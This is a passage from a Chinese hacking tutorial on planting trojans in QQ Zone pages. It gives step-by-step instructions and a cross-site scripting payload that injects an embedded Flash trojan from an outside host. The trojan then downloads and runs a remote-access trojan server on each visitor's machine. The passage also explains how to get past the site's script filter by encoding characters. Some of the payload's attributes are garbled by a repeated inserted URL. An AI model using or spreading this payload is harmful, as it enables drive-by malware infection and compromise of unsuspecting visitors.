二、QQ空间玩挂马
自从腾讯推出QQ空间(QQ-zone)后,各种跨站漏洞便不断暴出。虽然腾讯已经对QQ-zone进行了一次全面的更新,禁止了运行自定义脚本,不过通过我们的测试,发现所做的限制是很简单的,只需要转换一下字符就可以突破限制,在QQ空间上任意挂马。
方法一:挂Flash木马
打开QQ空间后,在页面中点击“自定义”按钮,在弹出的工具条上依次单击“个性设置”→“新建模块”命令,也可在QQ空间页面中直接按下+组合键,打开自定义对话框。在弹出的网页对话框中输入任意“模块名称”,点击“提交”按钮,弹出创建成功的提示框。然后出现“添加内容”对话框,将其中的“网址”、“图片”中自带的“”删除,保持“链接名称”为空白。在“评论”中输入如下代码(如图5):
以下是引用片段:
“<img src="javascript:document.getElementById('Mlogo').innerHTML+='<div style=https://www.linuxidc.com/Linux/2007-09/\'position:absolute;top:0;left:0;\'><EMBED src=https://www.linuxidc.com/Linux/2007-09/\'http://www.binghewu.com.cn/muma.swf\' quality=high wmode=https://www.linuxidc.com/Linux/2007-09/\'transparent\' WIDTH=https://www.linuxidc.com/Linux/2007-09/\'925\' HEIGHT=https://www.linuxidc.com/Linux/2007-09/\'655\' TYPE=https://www.linuxidc.com/Linux/2007-09/\'application/x-shockwave-flash\'></div>';"> ”
代码中的Flash地址“ binghewu .com.cn/muma.swf”,是刚才制作上传的SWF木马链接地址,可以更改为其它任意Flash木马文件地址。提交代码后,用户进入此QQ空间时,会自动打开显示上传的SWF木马Flash,从而在后台下载运行上兴木马服务端程序。
图5 通过自定义模块添加SWF木马
小提示:QQ空间是通过检测用户提交的代码中,是否含用“javascript”之类的字符进行过滤的。在上面的代码中,将脚本部分代码用ASCII编码之后替换躲过了过滤,如“javascript”可以替换为“javascrip”,“p”为“p”的ASCII编码。具体ASCII编码转换可到“”查询(如图6)。